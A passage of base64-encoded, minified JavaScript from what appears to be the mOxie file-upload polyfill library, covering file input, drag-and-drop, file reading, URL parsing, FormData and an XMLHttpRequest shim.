GUubGVuZ3RoO24rKylmb3IoaT1lW25dLmV4dGVuc2lvbnMudG9Mb3dlckNhc2UoKS5zcGxpdCgvXHMqLFxzKi8pLHI9MDtyPGkubGVuZ3RoO3IrKyl7aWYoIioiPT09aVtyXSlyZXR1cm5bXTtpZihvPXNbaVtyXV0sdCYmL15cdyskLy50ZXN0KGlbcl0pKXMucHVzaCgiLiIraVtyXSk7ZWxzZSBpZihvJiYtMT09PWEuaW5BcnJheShvLHMpKXMucHVzaChvKTtlbHNlIGlmKCFvKXJldHVybltdfXJldHVybiBzfSxtaW1lczJleHRzOnIsbWltZXMyZXh0TGlzdDpmdW5jdGlvbihlKXt2YXIgdD1bXSxpPVtdO3JldHVybiJzdHJpbmciPT09YS50eXBlT2YoZSkmJihlPWEudHJpbShlKS5zcGxpdCgvXHMqLFxzKi8pKSxpPXIoZSksdC5wdXNoKHt0aXRsZTpuLnRyYW5zbGF0ZSgiRmlsZXMiKSxleHRlbnNpb25zOmkubGVuZ3RoP2kuam9pbigiLCIpOiIqIn0pLHR9LGdldEZpbGVFeHRlbnNpb246dCxnZXRGaWxlTWltZTpmdW5jdGlvbihlKXtyZXR1cm4gb1t0KGUpXXx8IiJ9fX0pLGUoIm1veGllL2ZpbGUvRmlsZUlucHV0IixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiIsIm1veGllL2NvcmUvdXRpbHMvTWltZSIsIm1veGllL2NvcmUvdXRpbHMvRG9tIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvY29yZS9FdmVudFRhcmdldCIsIm1veGllL2NvcmUvSTE4biIsIm1veGllL3J1bnRpbWUvUnVudGltZSIsIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCJdLGZ1bmN0aW9uKGEsZSxuLHUscix0LG8sYyxsKXtmdW5jdGlvbiBpKHMpe3ZhciBlLHQsaTtpZigtMSE9PWEuaW5BcnJheShhLnR5cGVPZihzKSxbInN0cmluZyIsIm5vZGUiXSkmJihzPXticm93c2VfYnV0dG9uOnN9KSwhKHQ9dS5nZXQocy5icm93c2VfYnV0dG9uKSkpdGhyb3cgbmV3IHIuRE9NRXhjZXB0aW9uKHIuRE9NRXhjZXB0aW9uLk5PVF9GT1VORF9FUlIpO2k9e2FjY2VwdDpbe3RpdGxlOm8udHJhbnNsYXRlKCJBbGwgRmlsZXMiKSxleHRlbnNpb25zOiIqIn1dLG11bHRpcGxlOiExLHJlcXVpcmVkX2NhcHM6ITEsY29udGFpbmVyOnQucGFyZW50Tm9kZXx8ZG9jdW1lbnQuYm9keX0sInN0cmluZyI9PXR5cGVvZihzPWEuZXh0ZW5kKHt9LGkscykpLnJlcXVpcmVkX2NhcHMmJihzLnJlcXVpcmVkX2NhcHM9Yy5wYXJzZUNhcHMocy5yZXF1aXJlZF9jYXBzKSksInN0cmluZyI9PXR5cGVvZiBzLmFjY2VwdCYmKHMuYWNjZXB0PW4ubWltZXMyZXh0TGlzdChzLmFjY2VwdCkpLChlPXUuZ2V0KHMuY29udGFpbmVyKSl8fChlPWRvY3VtZW50LmJvZHkpLCJzdGF0aWMiPT09dS5nZXRTdHlsZShlLCJwb3NpdGlvbiIpJiYoZS5zdHlsZS5wb3NpdGlvbj0icmVsYXRpdmUiKSxlPXQ9bnVsbCxsLmNhbGwodGhpcyksYS5leHRlbmQodGhpcyx7dWlkOmEuZ3VpZCgidWlkXyIpLHJ1aWQ6bnVsbCxzaGltaWQ6bnVsbCxmaWxlczpudWxsLGluaXQ6ZnVuY3Rpb24oKXt2YXIgdD10aGlzO3QuYmluZCgiUnVudGltZUluaXQiLGZ1bmN0aW9uKGUsbyl7dC5ydWlkPW8udWlkLHQuc2hpbWlkPW8uc2hpbWlkLHQuYmluZCgiUmVhZHkiLGZ1bmN0aW9uKCl7dC50cmlnZ2VyKCJSZWZyZXNoIil9LDk5OSksdC5iaW5kKCJSZWZyZXNoIixmdW5jdGlvbigpe3ZhciBlLHQsaSxuLHI7aT11LmdldChzLmJyb3dzZV9idXR0b24pLG49dS5nZXQoby5zaGltaWQpLGkmJihlPXUuZ2V0UG9zKGksdS5nZXQocy5jb250YWluZXIpKSx0PXUuZ2V0U2l6ZShpKSxyPXBhcnNlSW50KHUuZ2V0U3R5bGUoaSwiei1pbmRleCIpLDEwKXx8MCxuJiZhLmV4dGVuZChuLnN0eWxlLHt0b3A6ZS55KyJweCIsbGVmdDplLngrInB4Iix3aWR0aDp0LncrInB4IixoZWlnaHQ6dC5oKyJweCIsekluZGV4OnIrMX0pKSxuPWk9bnVsbH0pLG8uZXhlYy5jYWxsKHQsIkZpbGVJbnB1dCIsImluaXQiLHMpfSksdC5jb25uZWN0UnVudGltZShhLmV4dGVuZCh7fSxzLHtyZXF1aXJlZF9jYXBzOntzZWxlY3RfZmlsZTohMH19KSl9LGdldE9wdGlvbjpmdW5jdGlvbihlKXtyZXR1cm4gc1tlXX0sc2V0T3B0aW9uOmZ1bmN0aW9uKGUsdCl7aWYocy5oYXNPd25Qcm9wZXJ0eShlKSl7dmFyIGk9c1tlXTtzd2l0Y2goZSl7Y2FzZSJhY2NlcHQiOiJzdHJpbmciPT10eXBlb2YgdCYmKHQ9bi5taW1lczJleHRMaXN0KHQpKTticmVhaztjYXNlImNvbnRhaW5lciI6Y2FzZSJyZXF1aXJlZF9jYXBzIjp0aHJvdyBuZXcgci5GaWxlRXhjZXB0aW9uKHIuRmlsZUV4Y2VwdGlvbi5OT19NT0RJRklDQVRJT05fQUxMT1dFRF9FUlIpfXNbZV09dCx0aGlzLmV4ZWMoIkZpbGVJbnB1dCIsInNldE9wdGlvbiIsZSx0KSx0aGlzLnRyaWdnZXIoIk9wdGlvbkNoYW5nZWQiLGUsdCxpKX19LGRpc2FibGU6ZnVuY3Rpb24oZSl7dGhpcy5nZXRSdW50aW1lKCkmJnRoaXMuZXhlYygiRmlsZUlucHV0IiwiZGlzYWJsZSIsInVuZGVmaW5lZCI9PT1hLnR5cGVPZihlKXx8ZSl9LHJlZnJlc2g6ZnVuY3Rpb24oKXt0aGlzLnRyaWdnZXIoIlJlZnJlc2giKX0sZGVzdHJveTpmdW5jdGlvbigpe3ZhciBlPXRoaXMuZ2V0UnVudGltZSgpO2UmJihlLmV4ZWMuY2FsbCh0aGlzLCJGaWxlSW5wdXQiLCJkZXN0cm95IiksdGhpcy5kaXNjb25uZWN0UnVudGltZSgpKSwiYXJyYXkiPT09YS50eXBlT2YodGhpcy5maWxlcykmJmEuZWFjaCh0aGlzLmZpbGVzLGZ1bmN0aW9uKGUpe2UuZGVzdHJveSgpfSksdGhpcy5maWxlcz1udWxsLHRoaXMudW5iaW5kQWxsKCl9fSksdGhpcy5oYW5kbGVFdmVudFByb3BzKGQpfXZhciBkPVsicmVhZHkiLCJjaGFuZ2UiLCJjYW5jZWwiLCJtb3VzZWVudGVyIiwibW91c2VsZWF2ZSIsIm1vdXNlZG93biIsIm1vdXNldXAiXTtyZXR1cm4gaS5wcm90b3R5cGU9dC5pbnN0YW5jZSxpfSksZSgibW94aWUvZmlsZS9GaWxlIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiLCJtb3hpZS9maWxlL0Jsb2IiXSxmdW5jdGlvbihyLG8scyl7ZnVuY3Rpb24gZShlLHQpe3ZhciBpO2lmKHR8fCh0PXt9KSxzLmFwcGx5KHRoaXMsYXJndW1lbnRzKSx0aGlzLnR5cGV8fCh0aGlzLnR5cGU9by5nZXRGaWxlTWltZSh0Lm5hbWUpKSx0Lm5hbWUpaT0oaT10Lm5hbWUucmVwbGFjZSgvXFwvZywiLyIpKS5zdWJzdHIoaS5sYXN0SW5kZXhPZigiLyIpKzEpO2Vsc2UgaWYodGhpcy50eXBlKXt2YXIgbj10aGlzLnR5cGUuc3BsaXQoIi8iKVswXTtpPXIuZ3VpZCgoIiIhPT1uP246ImZpbGUiKSsiXyIpLG8uZXh0ZW5zaW9uc1t0aGlzLnR5cGVdJiYoaSs9Ii4iK28uZXh0ZW5zaW9uc1t0aGlzLnR5cGVdWzBdKX1yLmV4dGVuZCh0aGlzLHtuYW1lOml8fHIuZ3VpZCgiZmlsZV8iKSxyZWxhdGl2ZVBhdGg6IiIsbGFzdE1vZGlmaWVkRGF0ZTp0Lmxhc3RNb2RpZmllZERhdGV8fChuZXcgRGF0ZSkudG9Mb2NhbGVTdHJpbmcoKX0pfXJldHVybiBlLnByb3RvdHlwZT1zLnByb3RvdHlwZSxlfSksZSgibW94aWUvZmlsZS9GaWxlRHJvcCIsWyJtb3hpZS9jb3JlL0kxOG4iLCJtb3hpZS9jb3JlL3V0aWxzL0RvbSIsIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiIsIm1veGllL2ZpbGUvRmlsZSIsIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCIsIm1veGllL2NvcmUvRXZlbnRUYXJnZXQiLCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiXSxmdW5jdGlvbih0LHIsZSxvLGksbixzLGEsdSl7ZnVuY3Rpb24gYyhpKXt2YXIgZSxuPXRoaXM7InN0cmluZyI9PXR5cGVvZiBpJiYoaT17ZHJvcF96b25lOml9KSxlPXthY2NlcHQ6W3t0aXRsZTp0LnRyYW5zbGF0ZSgiQWxsIEZpbGVzIiksZXh0ZW5zaW9uczoiKiJ9XSxyZXF1aXJlZF9jYXBzOntkcmFnX2FuZF9kcm9wOiEwfX0sKGk9Im9iamVjdCI9PXR5cGVvZiBpP28uZXh0ZW5kKHt9LGUsaSk6ZSkuY29udGFpbmVyPXIuZ2V0KGkuZHJvcF96b25lKXx8ZG9jdW1lbnQuYm9keSwic3RhdGljIj09PXIuZ2V0U3R5bGUoaS5jb250YWluZXIsInBvc2l0aW9uIikmJihpLmNvbnRhaW5lci5zdHlsZS5wb3NpdGlvbj0icmVsYXRpdmUiKSwic3RyaW5nIj09dHlwZW9mIGkuYWNjZXB0JiYoaS5hY2NlcHQ9dS5taW1lczJleHRMaXN0KGkuYWNjZXB0KSkscy5jYWxsKG4pLG8uZXh0ZW5kKG4se3VpZDpvLmd1aWQoInVpZF8iKSxydWlkOm51bGwsZmlsZXM6bnVsbCxpbml0OmZ1bmN0aW9uKCl7bi5iaW5kKCJSdW50aW1lSW5pdCIsZnVuY3Rpb24oZSx0KXtuLnJ1aWQ9dC51aWQsdC5leGVjLmNhbGwobiwiRmlsZURyb3AiLCJpbml0IixpKSxuLmRpc3BhdGNoRXZlbnQoInJlYWR5Iil9KSxuLmNvbm5lY3RSdW50aW1lKGkpfSxkZXN0cm95OmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5nZXRSdW50aW1lKCk7ZSYmKGUuZXhlYy5jYWxsKHRoaXMsIkZpbGVEcm9wIiwiZGVzdHJveSIpLHRoaXMuZGlzY29ubmVjdFJ1bnRpbWUoKSksdGhpcy5maWxlcz1udWxsLHRoaXMudW5iaW5kQWxsKCl9fSksdGhpcy5oYW5kbGVFdmVudFByb3BzKGwpfXZhciBsPVsicmVhZHkiLCJkcmFnZW50ZXIiLCJkcmFnbGVhdmUiLCJkcm9wIiwiZXJyb3IiXTtyZXR1cm4gYy5wcm90b3R5cGU9YS5pbnN0YW5jZSxjfSksZSgibW94aWUvZmlsZS9GaWxlUmVhZGVyIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSIsIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL2NvcmUvRXZlbnRUYXJnZXQiLCJtb3hpZS9maWxlL0Jsb2IiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWVDbGllbnQiXSxmdW5jdGlvbihlLG4scix0LG8saSl7ZnVuY3Rpb24gcygpe2Z1bmN0aW9uIHQoZSx0KXtpZih0aGlzLnRyaWdnZXIoImxvYWRzdGFydCIpLHRoaXMucmVhZHlTdGF0ZT09PXMuTE9BRElORylyZXR1cm4gdGhpcy50cmlnZ2VyKCJlcnJvciIsbmV3IHIuRE9NRXhjZXB0aW9uKHIuRE9NRXhjZXB0aW9uLklOVkFMSURfU1RBVEVfRVJSKSksdm9pZCB0aGlzLnRyaWdnZXIoImxvYWRlbmQiKTtpZighKHQgaW5zdGFuY2VvZiBvKSlyZXR1cm4gdGhpcy50cmlnZ2VyKCJlcnJvciIsbmV3IHIuRE9NRXhjZXB0aW9uKHIuRE9NRXhjZXB0aW9uLk5PVF9GT1VORF9FUlIpKSx2b2lkIHRoaXMudHJpZ2dlcigibG9hZGVuZCIpO2lmKHRoaXMucmVzdWx0PW51bGwsdGhpcy5yZWFkeVN0YXRlPXMuTE9BRElORyx0LmlzRGV0YWNoZWQoKSl7dmFyIGk9dC5nZXRTb3VyY2UoKTtzd2l0Y2goZSl7Y2FzZSJyZWFkQXNUZXh0IjpjYXNlInJlYWRBc0JpbmFyeVN0cmluZyI6dGhpcy5yZXN1bHQ9aTticmVhaztjYXNlInJlYWRBc0RhdGFVUkwiOnRoaXMucmVzdWx0PSJkYXRhOiIrdC50eXBlKyI7YmFzZTY0LCIrbi5idG9hKGkpfXRoaXMucmVhZHlTdGF0ZT1zLkRPTkUsdGhpcy50cmlnZ2VyKCJsb2FkIiksdGhpcy50cmlnZ2VyKCJsb2FkZW5kIil9ZWxzZSB0aGlzLmNvbm5lY3RSdW50aW1lKHQucnVpZCksdGhpcy5leGVjKCJGaWxlUmVhZGVyIiwicmVhZCIsZSx0KX1pLmNhbGwodGhpcyksZS5leHRlbmQodGhpcyx7dWlkOmUuZ3VpZCgidWlkXyIpLHJlYWR5U3RhdGU6cy5FTVBUWSxyZXN1bHQ6bnVsbCxlcnJvcjpudWxsLHJlYWRBc0JpbmFyeVN0cmluZzpmdW5jdGlvbihlKXt0LmNhbGwodGhpcywicmVhZEFzQmluYXJ5U3RyaW5nIixlKX0scmVhZEFzRGF0YVVSTDpmdW5jdGlvbihlKXt0LmNhbGwodGhpcywicmVhZEFzRGF0YVVSTCIsZSl9LHJlYWRBc1RleHQ6ZnVuY3Rpb24oZSl7dC5jYWxsKHRoaXMsInJlYWRBc1RleHQiLGUpfSxhYm9ydDpmdW5jdGlvbigpe3RoaXMucmVzdWx0PW51bGwsLTE9PT1lLmluQXJyYXkodGhpcy5yZWFkeVN0YXRlLFtzLkVNUFRZLHMuRE9ORV0pJiYodGhpcy5yZWFkeVN0YXRlPT09cy5MT0FESU5HJiYodGhpcy5yZWFkeVN0YXRlPXMuRE9ORSksdGhpcy5leGVjKCJGaWxlUmVhZGVyIiwiYWJvcnQiKSx0aGlzLnRyaWdnZXIoImFib3J0IiksdGhpcy50cmlnZ2VyKCJsb2FkZW5kIikpfSxkZXN0cm95OmZ1bmN0aW9uKCl7dGhpcy5hYm9ydCgpLHRoaXMuZXhlYygiRmlsZVJlYWRlciIsImRlc3Ryb3kiKSx0aGlzLmRpc2Nvbm5lY3RSdW50aW1lKCksdGhpcy51bmJpbmRBbGwoKX19KSx0aGlzLmhhbmRsZUV2ZW50UHJvcHMoYSksdGhpcy5iaW5kKCJFcnJvciIsZnVuY3Rpb24oZSx0KXt0aGlzLnJlYWR5U3RhdGU9cy5ET05FLHRoaXMuZXJyb3I9dH0sOTk5KSx0aGlzLmJpbmQoIkxvYWQiLGZ1bmN0aW9uKCl7dGhpcy5yZWFkeVN0YXRlPXMuRE9ORX0sOTk5KX12YXIgYT1bImxvYWRzdGFydCIsInByb2dyZXNzIiwibG9hZCIsImFib3J0IiwiZXJyb3IiLCJsb2FkZW5kIl07cmV0dXJuIHMuRU1QVFk9MCxzLkxPQURJTkc9MSxzLkRPTkU9MixzLnByb3RvdHlwZT10Lmluc3RhbmNlLHN9KSxlKCJtb3hpZS9jb3JlL3V0aWxzL1VybCIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIl0sZnVuY3Rpb24oYyl7dmFyIGw9ZnVuY3Rpb24oZSx0KXt2YXIgaSxuPVsic291cmNlIiwic2NoZW1lIiwiYXV0aG9yaXR5IiwidXNlckluZm8iLCJ1c2VyIiwicGFzcyIsImhvc3QiLCJwb3J0IiwicmVsYXRpdmUiLCJwYXRoIiwiZGlyZWN0b3J5IiwiZmlsZSIsInF1ZXJ5IiwiZnJhZ21lbnQiXSxyPW4ubGVuZ3RoLG89e30scz0vXig/OihbXjpcLz8jXSspOik/KD86XC9cLygpKD86KD86KCkoPzooW146QFwvXSopOj8oW146QFwvXSopKT9AKT8oXFtbXGRhLWZBLUY6XStcXXxbXjpcLz8jXSopKD86OihcZCopKT8pKT8oKSg/OigoKSg/Oig/OltePyNcL10qXC8pKikoKSg/OltePyNdKikpKD86XFw/KFteI10qKSk/KD86IyguKikpPykvLmV4ZWMoZXx8IiIpLGE9L15cL1wvXHcvLnRlc3QoZSk7c3dpdGNoKGMudHlwZU9mKHQpKXtjYXNlInVuZGVmaW5lZCI6dD1sKGRvY3VtZW50LmxvY2F0aW9uLmhyZWYsITEpO2JyZWFrO2Nhc2Uic3RyaW5nIjp0PWwodCwhMSl9Zm9yKDtyLS07KXNbcl0mJihvW25bcl1dPXNbcl0pO2lmKGk9IWEmJiFvLnNjaGVtZSwoYXx8aSkmJihvLnNjaGVtZT10LnNjaGVtZSksaSl7by5ob3N0PXQuaG9zdCxvLnBvcnQ9dC5wb3J0O3ZhciB1PSIiOy9eW15cL10vLnRlc3Qoby5wYXRoKSYmKHU9dC5wYXRoLHU9L1wvW15cL10qXC5bXlwvXSokLy50ZXN0KHUpP3UucmVwbGFjZSgvXC9bXlwvXSskLywiLyIpOnUucmVwbGFjZSgvXC8/JC8sIi8iKSksby5wYXRoPXUrKG8ucGF0aHx8IiIpfXJldHVybiBvLnBvcnR8fChvLnBvcnQ9e2h0dHA6ODAsaHR0cHM6NDQzfVtvLnNjaGVtZV18fDgwKSxvLnBvcnQ9cGFyc2VJbnQoby5wb3J0LDEwKSxvLnBhdGh8fChvLnBhdGg9Ii8iKSxkZWxldGUgby5zb3VyY2Usb307cmV0dXJue3BhcnNlVXJsOmwscmVzb2x2ZVVybDpmdW5jdGlvbihlKXt2YXIgdD0ib2JqZWN0Ij09dHlwZW9mIGU/ZTpsKGUpO3JldHVybiB0LnNjaGVtZSsiOi8vIit0Lmhvc3QrKHQucG9ydCE9PXtodHRwOjgwLGh0dHBzOjQ0M31bdC5zY2hlbWVdPyI6Iit0LnBvcnQ6IiIpK3QucGF0aCsodC5xdWVyeT90LnF1ZXJ5OiIiKX0saGFzU2FtZU9yaWdpbjpmdW5jdGlvbihlKXtmdW5jdGlvbiB0KGUpe3JldHVybltlLnNjaGVtZSxlLmhvc3QsZS5wb3J0XS5qb2luKCIvIil9cmV0dXJuInN0cmluZyI9PXR5cGVvZiBlJiYoZT1sKGUpKSx0KGwoKSk9PT10KGUpfX19KSxlKCJtb3hpZS9ydW50aW1lL1J1bnRpbWVUYXJnZXQiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCIsIm1veGllL2NvcmUvRXZlbnRUYXJnZXQiXSxmdW5jdGlvbihlLHQsaSl7ZnVuY3Rpb24gbigpe3RoaXMudWlkPWUuZ3VpZCgidWlkXyIpLHQuY2FsbCh0aGlzKSx0aGlzLmRlc3Ryb3k9ZnVuY3Rpb24oKXt0aGlzLmRpc2Nvbm5lY3RSdW50aW1lKCksdGhpcy51bmJpbmRBbGwoKX19cmV0dXJuIG4ucHJvdG90eXBlPWkuaW5zdGFuY2Usbn0pLGUoIm1veGllL2ZpbGUvRmlsZVJlYWRlclN5bmMiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCIsIm1veGllL2NvcmUvdXRpbHMvRW5jb2RlIl0sZnVuY3Rpb24oZSxpLGEpe3JldHVybiBmdW5jdGlvbigpe2Z1bmN0aW9uIHQoZSx0KXtpZighdC5pc0RldGFjaGVkKCkpe3ZhciBpPXRoaXMuY29ubmVjdFJ1bnRpbWUodC5ydWlkKS5leGVjLmNhbGwodGhpcywiRmlsZVJlYWRlclN5bmMiLCJyZWFkIixlLHQpO3JldHVybiB0aGlzLmRpc2Nvbm5lY3RSdW50aW1lKCksaX12YXIgbj10LmdldFNvdXJjZSgpO3N3aXRjaChlKXtjYXNlInJlYWRBc0JpbmFyeVN0cmluZyI6cmV0dXJuIG47Y2FzZSJyZWFkQXNEYXRhVVJMIjpyZXR1cm4iZGF0YToiK3QudHlwZSsiO2Jhc2U2NCwiK2EuYnRvYShuKTtjYXNlInJlYWRBc1RleHQiOmZvcih2YXIgcj0iIixvPTAscz1uLmxlbmd0aDtvPHM7bysrKXIrPVN0cmluZy5mcm9tQ2hhckNvZGUobltvXSk7cmV0dXJuIHJ9fWkuY2FsbCh0aGlzKSxlLmV4dGVuZCh0aGlzLHt1aWQ6ZS5ndWlkKCJ1aWRfIikscmVhZEFzQmluYXJ5U3RyaW5nOmZ1bmN0aW9uKGUpe3JldHVybiB0LmNhbGwodGhpcywicmVhZEFzQmluYXJ5U3RyaW5nIixlKX0scmVhZEFzRGF0YVVSTDpmdW5jdGlvbihlKXtyZXR1cm4gdC5jYWxsKHRoaXMsInJlYWRBc0RhdGFVUkwiLGUpfSxyZWFkQXNUZXh0OmZ1bmN0aW9uKGUpe3JldHVybiB0LmNhbGwodGhpcywicmVhZEFzVGV4dCIsZSl9fSl9fSksZSgibW94aWUveGhyL0Zvcm1EYXRhIixbIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9maWxlL0Jsb2IiXSxmdW5jdGlvbihlLHMsYSl7cmV0dXJuIGZ1bmN0aW9uKCl7dmFyIHIsbz1bXTtzLmV4dGVuZCh0aGlzLHthcHBlbmQ6ZnVuY3Rpb24oaSxlKXt2YXIgbj10aGlzLHQ9cy50eXBlT2YoZSk7ZSBpbnN0YW5jZW9mIGE/cj17bmFtZTppLHZhbHVlOmV9OiJhcnJheSI9PT10PyhpKz0iW10iLHMuZWFjaChlLGZ1bmN0aW9uKGUpe24uYXBwZW5kKGksZSl9KSk6Im9iamVjdCI9PT10P3MuZWFjaChlLGZ1bmN0aW9uKGUsdCl7bi5hcHBlbmQoaSsiWyIrdCsiXSIsZSl9KToibnVsbCI9PT10fHwidW5kZWZpbmVkIj09PXR8fCJudW1iZXIiPT09dCYmaXNOYU4oZSk/bi5hcHBlbmQoaSwiZmFsc2UiKTpvLnB1c2goe25hbWU6aSx2YWx1ZTplLnRvU3RyaW5nKCl9KX0saGFzQmxvYjpmdW5jdGlvbigpe3JldHVybiEhdGhpcy5nZXRCbG9iKCl9LGdldEJsb2I6ZnVuY3Rpb24oKXtyZXR1cm4gciYmci52YWx1ZXx8bnVsbH0sZ2V0QmxvYk5hbWU6ZnVuY3Rpb24oKXtyZXR1cm4gciYmci5uYW1lfHxudWxsfSxlYWNoOmZ1bmN0aW9uKHQpe3MuZWFjaChvLGZ1bmN0aW9uKGUpe3QoZS52YWx1ZSxlLm5hbWUpfSksciYmdChyLnZhbHVlLHIubmFtZSl9LGRlc3Ryb3k6ZnVuY3Rpb24oKXtyPW51bGwsbz1bXX19KX19KSxlKCJtb3hpZS94aHIvWE1MSHR0cFJlcXVlc3QiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL2NvcmUvRXZlbnRUYXJnZXQiLCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSIsIm1veGllL2NvcmUvdXRpbHMvVXJsIiwibW94aWUvcnVudGltZS9SdW50aW1lIiwibW94aWUvcnVudGltZS9SdW50aW1lVGFyZ2V0IiwibW94aWUvZmlsZS9CbG9iIiwibW94aWUvZmlsZS9GaWxlUmVhZGVyU3luYyIsIm1veGllL3hoci9Gb3JtRGF0YSIsIm1veGllL2NvcmUvdXRpbHMvRW52IiwibW94aWUvY29yZS91dGlscy9NaW1lIl0sZnVuY3Rpb24oYixSLGUsSSxPLEEsUyxULHQsRCxDLE4pe2Z1bmN0aW9uIEwoKXt0aGlzLnVpZD1iLmd1aWQoInVpZF8iKX1mdW5jdGlvbiBGKCl7ZnVuY3Rpb24gcyhlLHQpe3JldHVybiByLmhhc093blByb3BlcnR5KGUpPzE9PT1hcmd1bWVudHMubGVuZ3RoP0MuY2FuKCJkZWZpbmVfcHJvcGVydHkiKT9yW2VdOm5bZV06dm9pZChDLmNhbigiZGVmaW5lX3Byb3BlcnR5Iik/cltlXT10Om5bZV09dCk6dm9pZCAwfXZhciBhLHUsYyxsLG8saSxuPXRoaXMscj17dGltZW91dDowLHJlYWR5U3RhdGU6Ri5VTlNFTlQsd2l0aENyZWRlbnRpYWxzOiExLHN0YXR1czowLHN0YXR1c1RleHQ6IiIscmVzcG9uc2VUeXBlOiIiLHJlc3BvbnNlWE1MOm51bGwscmVzcG9uc2VUZXh0Om51bGwscmVzcG9uc2U6bnVsbH0sZD0hMCxoPXt9LHA9bnVsbCxtPW51bGwsZj0hMSxnPSExLHg9ITEsdj0hMSx5PSExLF89ITEsRT17fSx3PSIiO2IuZXh0ZW5kKHRoaXMscix7dWlkOmIuZ3VpZCgidWlkXyIpLHVwbG9hZDpuZXcgTCxvcGVuOmZ1bmN0aW9uKGUsdCxpLG4scil7dmFyIG87aWYoIWV8fCF0KXRocm93IG5ldyBSLkRPTUV4Y2VwdGlvbihSLkRPTUV4Y2VwdGlvbi5TWU5UQVhfRVJSKTtpZigvW1x1MDEwMC1cdWZmZmZdLy50ZXN0KGUpfHxJLnV0ZjhfZW5jb2RlKGUpIT09ZSl0aHJvdyBuZXcgUi5ET01FeGNlcHRpb24oUi5ET01FeGNlcHRpb24uU1lOVEFYX0VSUik7aWYofmIuaW5BcnJheShlLnRvVXBwZXJDYXNlKCksWyJDT05ORUNUIiwiREVMRVRFIiwiR0VUIiwiSEVBRCIsIk9QVElPTlMiLCJQT1NUIiwiUFVUIiwiVFJBQ0UiLCJUUkFDSyJdKSYmKHU9ZS50b1VwcGVyQ2FzZSgpKSx+Yi5pbkFycmF5KHUsWyJDT05ORUNUIiwiVFJBQ0UiLCJUUkFDSyJdKSl0aHJvdyBuZXcgUi5ET01FeGNlcHRpb24oUi5ET01FeGNlcHRpb24uU0VDVVJJVFlfRVJSKTtpZih0PUkudXRmOF9lbmNvZGUodCksbz1PLnBhcnNlVXJsKHQpLF89Ty5oYXNTYW1lT3JpZ2luKG8pLGE9Ty5yZXNvbHZlVXJsKHQpLChufHxyKSYmIV8pdGhyb3cgbmV3IFIuRE9NRXhjZXB0aW9uKFIuRE9NRXhjZXB0aW9uLklOVkFMSURfQUNDRVNTX0VSUik7aWYoYz1ufHxvLnVzZXIsbD1yfHxvLnBhc3MsITE9PT0oZD1pfHwhMCkmJihzKCJ0aW1lb3V0Iil8fHMoIndpdGhDcmVkZW50aWFscyIpfHwiIiE9PXMoInJlc3BvbnNlVHlwZSIpKSl0aHJvdyBuZXcgUi5ET01FeGNlcHRpb24oUi5ET01FeGNlcHRpb24uSU5WQUxJRF9BQ0NFU1NfRVJSKTtmPSFkLGc9ITEsaD17fSxmdW5jdGlvbigpe3MoInJlc3BvbnNlVGV4dCIsIiIpLHMoInJlc3BvbnNlWE1MIixudWxsKSxzKCJyZXNwb25zZSIsbnVsbCkscygic3RhdHVzIiwwKSxzKCJzdGF0dXNUZXh0IiwiIil9LmNhbGwodGhpcykscygicmVhZHlTdGF0ZSIsRi5PUEVORUQpLHRoaXMuZGlzcGF0Y2hFdmVudCgicmVhZHlzdGF0ZWNoYW5nZSIpfSxzZXRSZXF1ZXN0SGVhZGVyOmZ1bmN0aW9uKGUsdCl7aWYocygicmVhZHlTdGF0ZSIpIT09Ri5PUEVORUR8fGcpdGhyb3cgbmV3IFIuRE9NRXhjZXB0aW9uKFIuRE9NRXhjZXB0aW9uLklOVkFMSURfU1RBVEVfRVJSKTtpZigvW1x1MDEwMC1cdWZmZmZdLy50ZXN0KGUpfHxJLnV0ZjhfZW5jb2RlKGUpIT09ZSl0aHJvdyBuZXcgUi5ET01FeGNlcHRpb24oUi5ET01FeGNlcHRpb24uU1lOVEFYX0VSUik7cmV0dXJuIGU9Yi50cmltKGUpLnRvTG93ZXJDYXNlKCksIX5iLmluQXJyYXkoZSxbImFjY2VwdC1jaGFyc2V0IiwiYWNjZXB0LWVuY29kaW5nIiwiYWNjZXNzLWNvbnRyb2wtcmVxdWVzdC1oZWFkZXJzIiwiYWNjZXNzLWNvbnRyb2wtcmVxdWVzdC1tZXRob2QiLCJjb25uZWN0aW9uIiwiY29udGVudC1sZW5ndGgiLCJjb29raWUiLCJjb29raWUyIiwiY29udGVudC10cmFuc2Zlci1lbmNvZGluZyIsImRhdGUiLCJleHBlY3QiLCJob3N0Iiwia2VlcC1hbGl2ZSIsIm9yaWdpbiIsInJlZmVyZXIiLCJ0ZSIsInRyYWlsZXIiLCJ0cmFuc2Zlci1lbmNvZGluZyIsInVwZ3JhZGUiLCJ1c2VyLWFnZW50IiwidmlhIl0pJiYhL14ocHJveHlcLXxzZWNcLSkvLnRlc3QoZSkmJihoW2VdP2hbZV0rPSIsICIrdDpoW2VdPXQsITApfSxoYXNSZXF1ZXN0SGVhZGVyOmZ1bmN0aW9uKGUpe3JldHVybiBlJiZoW2UudG9Mb3dlckNhc2UoKV18fCExfSxnZXRBbGxSZXNwb25zZUhlYWRlcnM6ZnVuY3Rpb24oKXtyZXR1cm4gd3x8IiJ9